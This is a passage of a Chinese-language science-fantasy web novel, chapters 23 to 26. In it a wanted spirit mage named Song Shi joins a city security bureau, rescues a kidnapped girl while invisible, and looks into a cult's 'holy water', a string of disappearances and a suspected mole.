她伸出手,五指合拢,神使和黑袍人猛地碰撞在一起,他们踉跄几下,继而摇晃站起身。 时间足够了,宋拾身上的蓝光愈盛,猛地甩过他们。 她喘着粗气,眼前阵阵发昏,早知如此,她就该多练练精神术法了。 突然,她眼前一亮。 前面不远处,被她打晕的男人此刻已经醒了,正茫然地坐在地上。 很好,她勾起唇角。 男人轻轻地揉着太阳穴,蓦地感觉一阵风袭来,蓝色的光芒一闪而过,他茫然眨了眨眼。 幻、幻觉吗? 接着眼前又出现了两道光,然后……停在了他的眼前。 “纠正偏差。” 他瞪大眼睛,黑黢黢的炮口对准他的额头。 “轰隆!” 石门内传来巨大的炮鸣。 术法已经失效,宋拾变回了原样,她靠在合闭的石门上,大口喘气。 炙热的汗珠滑进眼睛里,辛辣而刺痛。 “你是精神师?”听不出情绪的声音。 宋拾身体一僵,下意识道:“队长你听我解释……” “霍尔要找到精神师也是你吧?”顾念语气平常,像是在说“今天吃什么”一样。 “是……”宋拾认命地阖上眼。 “真好,咱们局里有精神师了。” “要杀要剐随你……什么?” 宋拾不可置信地盯着她,恨不得盯出个洞出来,“你知道吗?联邦在通缉我。” “我知道啊。”顾念浑然不在意,吊儿郎当地站着,还冲着宋拾呲起大牙一笑。 她将盛着圣水的器皿递过去,在逃命途中,撒掉了大半杯。 “为什么?”宋拾看着红艳的液体,没有接。 “哪有那么多为什么啊。”顾念不耐烦地拍了下她的脑袋,把器皿塞了过去。 她从来不信联邦的狗屁通缉。 一个屡次冒险救人的人,再坏能坏到哪去?不知道比那些身居高位,拿屁股当脑袋的家伙好上了多少。 联邦的通缉?一个通缉令能证明什么? 只能证明,你的存在,阻碍的联邦的利益,或者说——那些人的利益。 所谓的联邦,不过是上层人欲望的载体。 何况,就连她也被通缉过,顾念竟然觉得有些可笑。 那时她还年轻,一腔热血,投身进建设联邦的事业里,成了一名军人。联邦军,呵,多么至高无上的荣耀! 年少的鲁莽与大胆,凝成一块块勋章,她走得越来越高,肩上的责任更是越来越重,重得她—— 理所当然地杀死了一个叛徒,对那时的她来说,是责任。 可正是所谓的责任,和狗屁的联邦利益至上,让她陷进自证,陷进指责。 顾念深呼出口气。 比起联邦的通缉,她更相信自己的眼睛。 但她不擅长那些矫情的话。 宋拾犯贱凑上去,“难不成是因为局里实在找不到人了,你连我这个通缉犯舍不得丢了?” “……你很烦。” “那你告诉我——” 冰冷的枪口抵在她头顶,宋拾笑容微僵。 神父举着枪,身后是金色扭曲的“虫洞”,里面传来一个声音,动听却毫无情绪波动的声音: “唐尼,杀了她们。” “虫洞”消失。 宋拾吞咽了口口水,“队长……” “队什么队长,完犊子了吧。” 宋拾:“……” 她握紧器皿往袖口里藏了藏,无辜道:“请问,这是怎么了吗?” “你在问我是吗,蝴蝶小姐?”冰冷的金属眼睛竟做出微眯的动作,扣住扳机的手指微微用力。 “你找到你的蝴蝶了吗?如果没有,我送你去见它们。” “那你人还怪好的呢。”宋拾狡黠一笑,高抬腿,稳准狠地踢中对方的命根。 “你——” 神父喉间溢出尖细怪异的声音,手中的枪摔落在地,他脸上的肉扭曲在一起,捂住裆部,痛苦地抬起腿。 顾念“哟”了一声。 宋拾没有顾念那么闲情逸致,在这个时候还能笑出声。 她急忙上前拉住顾念,“快走。” 顾念打了个哈欠,“走不了了。” “什么?” 她刚要转身离开,一排排枪口对准两人,几个仿生人围了一圈,宋拾一阵头皮发麻。 这又是什么冒出来的? 没完没了是吧! ? 顾念握住她的手,“说吧,殉职遗言。” “……” “砰——砰——”外面几声陡然响起枪响。 “都举起手来!你们已经被包围了!” 穿着安防警服的安防员们从天而降,手握警枪,迅速整齐地围堵住他们。 一个年轻的女安防员举起枪,两三下,射中仿生人的核心。 “抓那个捂裆的!带回去严加拷问。” 顾念伸了个懒腰,一把揽住宋拾的肩膀:“哎呀,联邦这次倒是效率。” 宋拾目移,“队长,你是什么时候清醒的?” “我一直都是清醒的。”顾念露出微笑,连带着脸上的疤痕都生动了。 “一个军人,是不会在同一个地方栽两次跟头。” 宋拾沉吟片刻,道:“我录到了舌疫的幕后黑手是哀涅托的证据,出去后我把录音发给你。” “不用了,上头不会管的。” “什么?”宋拾不解地看向她。 这时,那位年轻的安防员走了过来,她眼睛圆圆的,看起来很兴奋:“您就是顾念队长吧?我从小就很崇拜你!” 顾念端详她,露出笑容:“枪法还需要再练练,叫什么名字?” “队长,我叫陶顺安。” 顾念拍了拍她的肩膀,“好好干,回头给你升职加薪。” “好的!队长放心,我一定认真工作,为民除害!”年轻人干劲充足,全然不知这只不过是个虚无的大饼而已。 陶顺安又蹭到宋拾面前,圆眼亮晶晶的,“前辈,怎么称呼?” 上岗第一天的宋拾挺起胸脯,“宋拾。” “宋姐好。” 陶顺安目光一转,瞥见她藏起的手,好奇问道,“宋姐手里是什么呀?” 顾念也将目光投向了她的袖口。 见实在藏不住了,宋拾索性伸出手,手掌空空荡荡,什么也没有。 “怎么了吗?” 陶顺安笑容僵住,似乎有些不可置信,“我以为前辈拿了什么东西呢。” 顾念疲倦地打了个哈欠,淡淡瞥过陶顺安,“快去忙吧。” 她脸上恢复笑容,充满干劲应声:“好的!”说完便同其他安防员一起忙去了。 顾念抬腿朝出口走去,宋拾连忙跟上去,“队长?” “全联邦,足足有一半的人信仰哀涅托,也包括上面那些人,再加上其中的利益牵扯……” 意料之外,情理之中的回答。 绝望的社会制度,无法跨越的阶级,人们从一开始的反抗呐喊再到麻木,没有人愿意清醒地活着。 他们放弃反抗,转身投向了虚无的神灵,相信祂能带领人类找到光明,仿佛那便是唯一的慰藉。 有利可图的东西,上位者自然不会放过。 “少问,多做事。”顾念叹了口气,“把知道的都要烂进肚子里。逃避虽然可耻,但想在这个社会活下来,逃避也许是最好的选择。” “毕竟……在绝对的权利下,生死是由不得自己的。” 宋拾走上前,大着胆子问道:“队长,那咱们局缺人是不是因为上面……” “我说的话你是一点听不进去啊!”她重重敲了下宋拾的额头。 但她也没有反驳。 宋拾吃痛地捂住额头,思绪活络起来。 伊索纳德号登岸,安防员们前去站岗守卫,一定是看见了什么不该看的。 为了防止秘密泄露,联邦便“处理”掉了这些安防员。 除去在爆破中殉职的安防员,还有一些人悄无声息地消失了,没有一丝风声。 老杨比较幸运,可能因为某种原因没被发现。 宋拾皱起眉,为了隐瞒,不惜杀掉多科市大半的安防员。 那艘船上究竟发生了什么? 第24章 天幕渐黑,小巷子里宋拾手执伞,瓢泼大雨噼里啪啦地敲打在雨伞上。 她将器皿中红色的液体喂进黑耗子嘴里,喝过圣水的老鼠陡然亢奋,不安分地张嘴要咬她的手。 宋拾放下老鼠, 站起身向后退了几步。 老鼠“吱吱”叫了两声,身体蓦地膨胀,紧接着爆开,红色血水混着雨水一同流进下水道。 这个圣水……哀涅托究竟是赐福还是取命啊。 兜中一阵震动,她掏出终端,论坛发的消息。 “【隐身】已解冻,请注意查收。” “【触发任务】查明圣水的功效, 时限为三十天。奖励为五万星币和精神值拓宽药水。失败无惩罚, 非强制任务,您可以拒绝。” 既然失败无惩罚,那有什么好犹豫的。 宋拾接受任务。 论坛的奖励只有在拉进任务进度时才会解冻。 这也变相地在说,圣水, 或者说哀涅托和伊索纳德号有关。 还真让她误打误撞上了。 器皿中的液体晃动着,她的目光突然被大片的血红色吸引,前面巷口拐角处触之所及皆是血红。 冰冷的湿气裹挟着隐隐约约的血腥。 杀人抛尸? 宋拾打着伞前去查看,她的想法很简单,先查看一下再汇报给顾念。 走到巷口拐角,地上倒着一个熟悉的人影。 濡湿的黑发粘黏在苍白的脸上,那双红宝石般的眼睛此刻紧闭着,她的胸口微不可查地轻轻起伏。 大片的血正是从她左胸口的窟窿里渗出的,布料也被血浸成了暗红色。 贝莉娅? 宋拾加快脚步,宽大的黑伞罩在少女身上。 贝莉娅听见一阵脚步声,强撑着掀起眼皮,只看见一双被雨水打湿的裤脚。 挣扎着,她的视线上移。 黑暗再度席卷而来,意识昏沉下去。 …… 即便知道联邦救济所形同虚设,可年幼的贝莉娅还是怀揣着希冀,背着得了绝症的双胞胎妹妹来到了这里。 救济所的工作人员见她们如同碰见了染着瘟疫的老鼠,骂道:“死穷鬼滚开!” 死穷鬼滚开……望着一路的脚印,一股绝望的无助感几乎要将她溺毙。 那天正巧是财阀某位江姓小王子的生日,为了庆祝,人工造雪在联邦市下了整整一天一夜。 饥寒交迫的夜晚,大雪飘飞,晶莹剔透的雪花像是精灵,一点点将她们变成纯白的雪人。 “姐姐……我会死吗?”年幼的芙蒂斯轻轻问道。 她红色的眼眸望向贝莉娅,苍白得像是随时都要消逝。 贝莉娅咬牙,皱皱酸涩的鼻子:“不……不会的……” 双腿冻得僵硬,呼出的热气很快便消散在空气中。 两个可怜的女孩一齐倒在地上,耳边却蓦地响起靴子踩在雪地上的“嘎吱”声。 贝莉娅艰难地抬起头,明亮的路灯下,一个戴着皮手套的手伸了下来。 是一位穿着深褐色的大衣的女士,戴着眼镜,笑容和蔼:“怎么了吗?” “求你……救救我妹妹……”微不可闻的声音。 “你妹妹?” 妹妹的病症似乎引起了女人的好奇,就连笑容也真切了几分,她问道:“孩子,想不想加入回溯?” “回溯?” “进入回溯,你们不会再挨饿受冻,而我会负责你妹妹的治疗,她不会死。” 女人的声音似乎带着某种蛊惑,引诱着她们进入美好的幻想。 不用挨饿受冻,还有人为妹妹治疗,回溯难道是天堂吗?小贝莉娅发出感叹。 “我们去!您……怎么称呼?” “我叫赵珂。” 陡然,画面被吸进漩涡中,一阵天旋地转。 她们加入了回溯,新的生活正式开始,只是…… 并没有她想得那般美好。 赵珂尚未研究出治疗方法,芙蒂斯就这么被装进了营养罐中。 她也只能将手指覆盖在冰冷的玻璃罐上,看着在营养液中沉睡的妹妹。 “要快点好起来呀。” 进入回溯的第一天贝莉娅就知道,天底下没有免费的午餐,要想留在这里,她必须要证明自己的价值。 西索斯先生说,有价值的人,才配活着,这是回溯的生存法则。 她像只幼兽,跌跌撞撞站起,露出尚未锋利的乳牙同同龄人撕咬,只有这样她才能够留下来。 留下来,只有留下来才能给芙蒂斯治病。 机械化可以弥补人体的不足,但贝莉娅不喜欢,甚至可以说是厌恶。 她更喜欢做人的实感,没有痛觉味觉的机器,还算是人吗? 为了避免被机械化,她起早贪黑地训练,力量不够那就另辟蹊径,比如善用巧劲,将身体的敏捷度和枪法的准确度拉到极致。 无数个夜晚,她都会被噩梦惊醒。 梦见被机械化的自己,梦见妹妹认不出她。 梦见,她无论如何逃,都逃不掉的泥沼。 但好在,那只是梦。 即便在回溯的日子有些无聊,但贝莉娅还是不由地期待明天,也许明天妹妹就醒了呢? 她答应过芙蒂斯,要带她一起去享用世界上最美味的食物,去眺望最美丽的风景。 她还会挣数不清花不完的钱,到时候,她们不必再挨饿,谁也欺负不了她俩。 什么时候开始变得杀人不眨眼了呢? 还未反应过来时,她的双手已染满了鲜血,在回溯也混上了不错的位置。 妹妹的病情却始终不见好转。 “你究竟能不能治好她?!” 面对诘问,赵珂笑容未变,而且轻声道:“孩子,西索斯先生需要的是一个忠诚、有用的工具,你不会不明白吧?” 是啊,她怎么会不明白呢…… 西索斯从头到尾要的只是一件趁手的工具,如果他要延长工具的使用期限,并且保证工具的绝对忠诚。 那么,芙蒂斯就绝不可能醒来。 正如联邦攻来时,他们没有带走芙蒂斯,何尝不是西索斯对她的警告: “看吧,你们能去哪呢?” “没有回溯,你妹妹就会死。” 背上的芙蒂斯还在昏迷,她无助地看着天空、暴雨。 “芙蒂斯,我们该怎么办?” “我该怎么办……” 贝莉娅像是水面上的浮萍,无助再次侵吞掉她,任由浪花拍打,将她越推越远,推向无尽的深渊。 西索斯敏锐得可怕,他总能及时地察觉到她的变化。 甚至可笑的、派来一个五大三粗的、虚伪的男人扮成妹妹,美其名曰舒缓她对妹妹的惦念。 当她看见妹妹的脸、和自己一模一样的脸,出现在那个男人脸上的时候,她真想一拳砸烂他的太阳穴。 这样的日子什么时候才能到头? ! 如果不是妹妹,她手上的那把枪对准的恐怕就是自己的脑门了。 不可否认,西索斯的目的达到了。 直到一个人的到来,贝莉娅灰淡的生活才多出了点亮色。 那是一个叫宋拾的女孩。 她看见她的第一眼就知道,她和她是一样的,她们的血管里都流淌着不安分的血液,同样渴望着自由。 宋拾很聪明,但西索斯需要的是一个既聪明又忠臣的狗,如果不忠诚,再聪明又有什么用呢? 贝莉娅本不应该出手,但她还是帮了她。 分不清自己到底是在帮助曾经深陷沼泽的自己,还是仍在渴望一个虚妄缥缈的未来,又或是,一个鲜活的自己。 后来宋拾离开了。 贝莉娅帮了她能帮的,至于宋拾能否活下来,她的理性告诉她,那个女孩一定被炸成了碎片,但感性又在贝莉娅耳边低喃,上天会眷顾她的。 上天?真的有上天吗? 如果有的话,为什么她从未得到过解脱? 又一次出任务,她本应该杀掉那个叛徒的。 背叛组织,泄露信息给联盟的叛徒必须要死。 是的,她的枪都抵在了他的额头。 可他的终端里传来孩童稚嫩的声音:“爸爸,你今天会回家吗?诺诺好想爸爸呀。” 男人明明恐惧地上下牙打颤,却仍安慰女儿:“爸爸今晚比较忙,不回去,你和妈妈早点睡吧,不用等我了。” “啊……爸爸还不回来吗?可是我们已经一年没有见面了。” 里面又传来妈妈温柔的声音:“爸爸忙呀,诺诺要懂事,等爸爸忙完了,一定会回来的。” “好,那爸爸再见!” “再见。”一行清泪划过男人的脸颊,他闭上了眼,浑身战栗,却伸手握住抵在额头上的枪。 “杀了我吧。” 杀了他,她当然会杀了他,任务完不成,回去领罚的就是她。 她扣动扳机。 “砰——” 鲜血飞溅,男人闷声一声,左臂被子弹穿透。 “回去吧,你的家人在等你。” 贝莉娅淡淡地瞥了他一眼,收起枪转身离开。 突然,枪响了。 子弹击中她的胸口。 她捂住冒血的胸口,掏出枪转身开了一枪,硝烟围着枪口缭绕。 男人死了,不可置信瞪大眼,倒在了地上,枪从他的手中脱落,宽大的衣袖里是一个录音笔。 鲜血滴落在地,贝莉娅踉跄着走过去,按开录音笔,里边传出开通稚嫩的声音。 “爸爸,你今天会回家吗?诺诺好想爸爸呀。” “啊……爸爸还不回来吗?可是我们已经一年没有见面了。” 她被骗了。 天空响起一阵闷雷,雨水陡然从天而降,砸在她的脸上。 善良这种东西,最没用了。 …… 贝莉娅仿佛做了很长很长的梦,肮脏不堪,又不值得回顾的梦。 不知过了多久,意识才逐渐回笼,她强撑着睁开眼睛。 是一个女人的背影,没见过。 贝莉娅不禁感到嘲讽。 为什么她还活着? 她摸了摸腰间的枪,还在。 她抽出枪,起身缓缓走向她。 第25章 楼主:震惊!多科市竟然失踪了那么多人! 经楼主统计, 3月中旬至今共失踪56人。失踪者的家属多次报警也未果,加之某种不可言说的原因,安防局警力严重不足, 失踪的人至今未被寻回, 真的是一点消息也没有。 对了,最近几起失踪都发生在紫海区,故特别提醒紫海区的友友最近要注意安全。 关于失踪案,我会继续调查,希望有朝一日能寻回那些失踪者。 紫海区?宋拾微微皱眉,这不就是她的区吗。 她往下翻了翻评论。 辣味风油精:冒昧问一下, 这是楼主的论坛任务吗? 楼主回复辣味风油精:是任务, 但即便不是任务我也会做, 因为我姐就是其中的一位失踪者。 辣味风油精:啊,抱歉抱歉。楼主一定会找到姐姐!也不要太累到自己了。 楼主回复辣味风油精:没关系,注意安全。 看来被分配任务的不止有她,就连任务内容也不相同。 宋拾有些懊恼, 早知道多逛点论坛了, 突然她察觉到身后的动静。 “你醒了?” 纤弱的少女牵起唇角,像是融化的糖块,红眸细细打量她, “你救了我?” 骨肉再生她已经学到高阶难度,只要不伤及大脑,都能够将其复原。 “是的。” 宋拾乌黑的眼像一汪墨,她状若无意扫过贝莉娅手中的枪。 “你长得很像我的一个朋友。”她收起甜腻的笑容,长睫垂下,“真希望她还活着。” 宋拾微愣。 “不过,谢谢你。” 贝莉娅提步走到窗前,一把推开窗户,大雨仍未停,凌冽的寒风夹杂着冷雨打湿她额前的发。 她像只白鸽一跃而起。 “等等!这是三十楼!”宋拾瞳孔微缩,心脏骤然一紧,伸手上前却捞了空。 手上微凉,雨水顺着肌肤纹理滑进掌心。 窗外看不见贝莉娅的身影,从高楼俯视而下,厚重的雨幕中偶尔出现几个打伞的人。 昏暗的天际飞过几只鸟,宋拾缓缓收回手,关上窗户,密集的雨点砸在玻璃上。 贝莉娅以为她死了? 复杂的情绪像线团交织缠绕,她晃了晃脑袋,点开论坛用户主页面,【隐身】已解冻。 相同的流程,老师简单地介绍了隐身的内容,进阶版本的隐身甚至能躲过安防系统。 这堂课老师先讲解了如何省去读条,以及如何隐掉身上的蓝色符文。 还能隐掉蓝色符文,这绝对是最有用的术法之一。 宋拾听得聚精会神。 不知不觉间,窗外的雨停了,天色完全暗了下去,初级课程的进度条悄然爬到结尾。 她瞥了眼时间,晚上七点。 陡然,屏幕上蹦出一条委托帖“恒洲公寓28楼,急!十万星币!” 论坛系统在底下配了一行小字:“已随机投送给紫海区存光路的用户。” 恒洲公寓是一座废弃的建筑楼,距离幸福公寓只有四五百米。 宋拾点进求助帖,看见了熟悉的头像,正是前不久发布失踪事件帖子的楼主。 楼主:如标题。好消息,我现在蹲到失踪案的凶手了,坏消息是我打不过他,来个打手!速! 今天捡垃圾了吗接受E663的委托。 E663:快来,我缠不了他太久。 今天捡垃圾了吗:嗯。 宋拾关上终端,瞬间,她整个人消失在屋内。 她抬起手,什么也看不见。 成功了。 …… 楼道霉臭熏天,潮湿的墙皮剥落,露出钢筋混泥土,声控灯“滋啦滋啦”响,飞蛾不知疲倦地一次次撞上昏黄的灯泡。 黑衣人的拳头狠狠砸在裴木清的额头,他弓着背闷哼一声,双手死命抱住黑衣人的腿。 再……再撑一会…… 又是一脚踢中腹部,他呕出口血,两眼片片发黑。 密集如雨点的拳头纷纷落在他身上、脸上。裴木清不用照镜子都知道此刻的自己一定肿成猪头了。 那个“今天捡垃圾了吗”怎么还没来啊,再不来他就先死了。 他强撑提一口问道:“你们的目的究竟是什么?!” 话音刚落,重拳砸下,裴木清眼前的世界跟着天旋地转,胃里翻江倒海地直犯恶心。 “也许你可以问问上帝……呃啊!” 突然,黑衣人喉间溢出痛呼,连带着身子踉跄几下,但声音做了处理,听不出男女。 今天捡垃圾了吗来了? ! 裴木清惊喜抬头,遗憾的是他并未看到半点人影。 黑衣人只觉撞鬼,他痛苦地捂住肚子,还未反应,脑袋像是被人抬腿踢中,一阵耳鸣,身子摇摇欲坠几乎要倒下。 他咬牙,努力辨别着对方的方向。 “啪”清脆的声响,他脸上火辣辣一片,怒气刚涌上,裹挟着风的力道就要砸在他的太阳穴,黑衣人急忙向后仰,勉强躲过。 “是捡垃圾吗?”裴木清眼睛肿得睁不开,鼻孔喷着血,但语气里是掩不住的欢喜。 “嗯。” 空气中蓦地响起回应。 人狠话不多的都是大佬,裴木清全然放下心来。 他爬向被黑衣人丢在角落里黑袋子,劫后余生的后怕让他双手仍在颤抖,哆嗦着解开口袋。 一个扎着马尾的小女孩的脸露出来,双目紧闭着,呼吸平稳,看起来只是睡着了。 “呃!”黑衣人猛地被掀翻在地,稳重的脚步声缓缓逼近他。 他喘定呼吸,紧紧盯着眼前空荡荡的一片:“你是精神师?”手悄然摸进怀里。 反派死于话多,宋拾懒得同他墨迹。 “喀嚓。”冰冷的东西抵在他的额头。 枪。 黑衣人吞咽口水,讪笑:“你难道不问我点什么吗?” 隐身的宋拾神色微暗,就要扣动扳机时,身后陡然响起裴木清的声音。 “别,别杀他!” 裴木清也不知道“今天捡垃圾了吗”在哪,只能冲着空气摆手,“我还需要问他些问题!” 宋拾“嗯”了一声,算是回应。 裴木清瞪着黑衣人,本想摆个严肃的表情,一不小心扯到伤口,疼得龇牙咧嘴。 宋拾:“……” 算了,俗话说得好,傻人有傻福。 “那些失踪的人都去哪里了?你们绑人干什么?” 额头的枪并未移开,黑衣人一边悄悄握住口袋的手榴弹,一边无措道:“具体的我也不太清楚。”裴木清紧盯着他,“谁派你来的?” “是……是回溯!” “说谎。”那道声音再度响起。 宋拾憋笑差点没憋住,西索斯真失败,人人都可以将泥点子甩给回溯。 突然,她察觉到一丝不对,酥麻感爬上后脊。 黑衣人就要扔出手榴弹,宋拾先一步揪住他的后领,用力一掷,以迅雷不及掩耳之势扔出公寓护栏外。 “嘣!”明亮的火光与爆破声响为夜色增添光彩。 绚丽的火光在眼前炸开,裴木清后知后觉晃过神来,一屁股坐在地上,“妈呀。” “钱。”大佬似乎走到了他身前。 他双眼有些茫然,结巴道:“论、论坛会自动汇款。” “好,走了。” 赚到外快后,宋拾心情不错,提步正欲走时,目光瞥到角落里揉着眼睛的小女孩。 刚才有小女孩吗? 裴木清也注意到女孩醒了,急忙起身走到她面前,放轻语气:“小朋友,你家在哪呀?” 小女孩被裴木清血糊的脸吓了一跳,猛地后撤几步,杏眼蓄满泪水,眼见着就要溃堤。 “别哭别哭!”裴木清急得满头是汗。 “妈妈!我要妈妈!” 女孩近乎发泄的哭声3D环绕在楼道中。 “再哭,死神就收人了。”一道声音陡然插入。 小女孩哽咽着收音,蓄泪的眼睛环顾四周,并未看见其他人,吓得小脸煞白,眼泪都被憋回去了。 裴木清挠头,“大佬,您没走啊?” “黑衣人绑的是她?”宋拾问。 裴木清说:“是的,还好我前几天就在紫海区蹲人了,不然小家伙今天要被抓走。” “叔叔……你在和谁说话呀。”对比之下,这个满脸番茄酱的叔叔似乎是个好人,小女孩凑到裴木清身边,声音发抖。 宋拾挑眉,柔声问:“小朋友,你叫什么名字?” 小女孩脸色更白了一分,攥住裴木清的胳膊,染上恐惧的声音:“诺诺,我叫诺诺。” 裴木清揽住孩子,埋怨道:“大佬,你什么恶趣味啊,别老是吓孩子。” 宋拾:“……” 很好的恶趣味,来自血口喷人。 她清了清嗓音,“诺诺,你在昏迷之前发生了什么呀,可以给姐姐讲讲吗?” “还得是大佬!”裴木清眼前一亮。 诺诺蜷缩在裴木清怀里,回忆了一会,说:“我在巷口等爸爸,爸爸说他今天会回来,但我等了好久,天都黑了,他也没有回来……” 女孩失望地垂下头,声音小了下去。 “然后,就突然好困好困呀,一醒来就在这里了。” “诺诺没有看见什么奇怪的人吗?”宋拾问。 “没有。” 宋拾将目光投向裴木清,“你先把孩子送回去吧,天黑了,她妈妈肯定着急疯了。” “好的大佬,包在我身上!” 裴木清捶着胸口保证,没锤几下,脸痛苦地皱成一团,狂咳嗽。 “……” 宋拾收回视线,潜入伸手不见五指的暗色中。 披着月色一路回到公寓房,宋拾匆匆洗漱完毕,正要上床睡觉就听见外面嘈杂声。 便宜没好货,房间隔音自然也不好。 女人后怕的哭泣:“诺诺,我的诺诺,你去哪里了。” “……诺诺去等爸爸了,但是没有等到。”软糯的童音,“以后诺诺再也不会乱跑了。” E663还算靠谱,至少诺诺没说出什么遇见了怪叔叔和死神。 不过,这世界可真小,她们居然是同一楼层的住户。 她打了个哈欠。 “妈妈,我回来啦!”另一道尖锐的童音将宋拾吓了个清醒。 “诺诺?”女人的声音有些惊恐,“这……怎么可能?!怎么会有两个诺诺?!” 这时,终端屏幕突然亮起。 E663:卧槽!原来我姐没失踪!她刚给我打电话了。 似乎吹来一阵冷风,激起宋拾一身鸡皮疙瘩。 第26章 “编外安防员宋拾, 上班打卡成功。” 宙启温和道:“您看起来很疲惫,是否需要一杯热饮?” 宋拾换好制服走出更衣室,打了个哈欠, 眼角溢出生理性的眼泪。 “有营养液吗?” “当然, 乐意为您效劳。” 美好的一天,从省早饭钱开始。 委托任务挣了十万星币,负债的三万二,她实际有六万八。 但欠款现在还不能还,普通人无论如何也不可能几天内赚到三万二,除非她再想引起顾念的注意。 多攒点钱是为了防患于未然, 抠搜的宋拾如此告诉自己。 “让一让。” 推着平车的两个安防员迎面而来。 宋拾侧身让出路。 白布罩住的人安静地躺在平车上,胸口没有一丝起伏,贴的标签上写着“王友海”。 “你说,那些失踪的人都找到了?”戴着机械手臂的安防员低声道。 “是啊,我今天还听队长说,他们都是自己回来的。” 平车推进电梯时颠簸了下,白布顺着垂落,露出一张青黑色的脸,年纪不大,看起来只有三四十岁。 电梯门合上, 宋拾收回视线。 “滴!”角落待机的机器人激活,轮子带动着圆滚的身体一路直奔宋拾,腹部铁皮陡然打开,露出几瓶营养液。 零元购呀零元购。 她笑得轻柔,手上的动作却不轻柔,一伸手就要将所有的营养液掏走。 机器人眼睛的光闪烁,察觉到对面恐怕是个贪得无厌的流氓, 猛地放下铁皮盖,宋拾迅速地掏了几个缩回手。 小机器人的轮子往后退了几步,“编外安防员宋拾,您已进入黑名单。” “……真小气。”宋拾嘟囔着,开了一瓶灌嘴里。 “宋姐!”一道富有朝气的声音,蓬勃而充满活力。 宋拾闻声抬头,是陶顺安,她的左脸有些红肿。 陶顺安踱到她身旁,扫过满怀的营养液,惊诧问道:“宋拾姐你这是上哪进货了?” “你要吗?” 陶顺安轻摇头,晃了晃手中的保温杯,“不了,我妈给我煲了汤。” 宋拾颔首,提步走开,“那就好,我也只是客气客气。” “……” 陶顺安快步跟上,吐槽道:“对了姐,捕获哀涅托成员,他们无一例外都自爆了,血肉模糊,现在审讯室还有一股尸臭味。” 宋拾扬起眉毛,张嘴刚要说什么,一声急促的呼喊声响起:“快让开!!快让开!我停不下来了!” 只见一个人来势汹汹狂奔,振动双臂挥舞,话语仿佛调了速,嘴缓慢地一张一合。 陶顺安还未来得及反应,望见飞驰而来的人,大脑仍一片空白,直至一股强劲的力道袭来。 “啊!!” 手中握的保温杯抛掷在半空,重重砸在地面,凹陷进一大块,流动的液体从杯口溢出,鲜红的,淌了一地。 宋拾目光一瞥,谁家好人煲的汤是红色的? 陶顺安一把推翻身上的人,揉了揉后脑勺,没好气道:“着急去投胎啊?!” 那人没理她,连滚带爬跑进更衣室,随后响起宙启的提示音:“实习安防员裴木清,上班打卡成功。” 第二天上班,还好没迟到。 裴木清长舒口气,蓦地想起什么,急忙跑更衣室将地上的陶顺安扶起,脸上浮现尴尬又愧疚的神色。 “抱歉啊。” 他无措地垂目,看见凹陷的保温杯,挠了挠头,“哎呀,把你的饮料也给撞撒了,多少钱,我赔给你吧。” 闻言,陶顺安脸色煞白,一把推开他,着急忙慌地拿起渗水的保温杯,红艳艳的液体刺眼烫目。 值日的清洁机器人效率很高,迅速将地板的水渍清理干净。 “真的很抱歉啊……”裴木清手足无措地站在原地。 多科市真小,昨日的雇主,今日的同事。 安防局门口陡然传来嘈杂的声音,宋拾抬眸望去,只见一个女人左右手各拉着一个孩子,神色很是慌张。 那个小孩……宋拾眯起眼睛。 “这位女士,呃,请您等一下,我这就联系我们队长。” 女人焦急地踱步,“你们队长还要多久才来?” “来了。” 身后的电梯门合上,顾念捻灭烟头,踩着长靴走来:“曲女士您好,关于您的丈夫,我们也才——” “不是的!”女人打断她,颤巍巍地指着两个孩子,“我今天找你来,是因为我的孩子变成两个了。” “两个?”顾念惊愕。 “卧槽,怎么会变成两个?”裴木清同样是雷劈状,一双眼睛仔仔细细地在两个女孩身上来回打量,“真的一模一样……” 宋拾神色晦暗,保持沉默静静观望。 曲女士大致讲述了遍经过,顾念听得太阳穴一突一突地跳,说:“带孩子先去做DNA检测吧。” 曲女士点点头,后知后觉道:“你刚才是说,我丈夫有消息了?” “是……”顾念沉重地叹气,食指中指轻轻摩挲片刻,“曲女士节哀,您的丈夫牺牲了。” 曲女士宛若雷劈,呆愣在原地,“死……死了……” “阿姨,我爸爸是死了吗?”其中一个女孩泪眼婆娑问道。 另一个女孩更是直接放声大哭。 陶顺安跟着抽噎起来,“小姑娘真可怜,小小年纪就没了爸爸。” 宋拾默不作声地看她一眼,并未做声。 曲女士一把抓住顾念的胳膊,双目发红,“我能见见他吗?” “当然可以。”顾念望向不远处看戏的三人,“宋拾,你跟我一起去,新来的那两个负责照看一下孩子。” 宋拾应声跟着她们进了电梯。 顾念按了下负五楼,电梯门关闭,她说:“王友海的尸体我们刚刚找回,尸检报告为死于枪杀,身上共两处枪伤,一处为左臂,不致命,另一处正中心脏。” 曲女士捂住嘴,泪水夺眶而出,哽咽的声音不可控制地溢出。 “我可以知道我丈夫做的是什么工作吗?” 顾念深深地凝她,“在回溯当间谍。” “叮咚。”电梯门开了。 宋拾垂下眼睫,这个她倒有印象,因为那个间谍,联邦军攻进回溯大本营她才能得以逃生。 顾念走到一扇铁门前,扫了虹膜,门慢腾腾升起。 一股股寒风扑面而来,宋拾胳膊上鸡皮疙瘩顿时冒出,这间房室温很低,寒冷的阴风直往人骨头缝里钻。 平车上的布已经被调整好,尸体安静地躺在白布之下。 曲女士小心翼翼地掀起一角,动作缓慢轻柔,似乎生怕惊动了爱人,直到白布完全掀去,她的泪水再也抑制不住。 大颗大颗的泪珠砸在手背上。 宋拾心情沉重,嘴唇蠕动了几下,也不知道该如何安慰,在这个时候任何安慰都显得苍白无力。 突然,肩膀一沉,她扭头看见心事重重的顾念。 顾念抬抬下巴示意。 两人蹑手蹑脚走了出去。 角落里,顾念的烟明明暗暗,烟雾缭绕中似乎有声叹息。 “队长叫我是有什么事吗?” 顾念吐出烟,被烟雾遮住的脸看不出神色,“安防局里可能出现了细作。” 宋拾还不知如何作答时,又听见她说:“我需要你多盯着一个人。” “谁?” “陶顺安。” 听到这个名字,宋拾并不算惊讶,她只是不解,“队长,这么重要的事情你就让我去做了?何况我才刚来两三天,而且还在被通……” 顾念掀了掀眼皮,“你干不干?给转正。” “干。”即便知道每个大饼的背后都明码标了价,宋拾还是忍不住咬钩,“不过队长,你怎么会怀疑她?” …… 陶顺安偷瞥了眼终端,看向哄孩子的裴木清,说:“我肚子有点疼,上个厕所马上就回来,麻烦你一个人先照顾她们了。” 裴木清忙得焦头烂额,头也没回地胡乱点头:“好好好,你快点回来啊。” 陶顺安埋头走进卫生间,关门,接通通讯,里面传来特意变声的人声,“蠢货!才去第一天,顾念就查上你了!” 陶顺安脸色一变,“不可能!我没有地方暴露!” 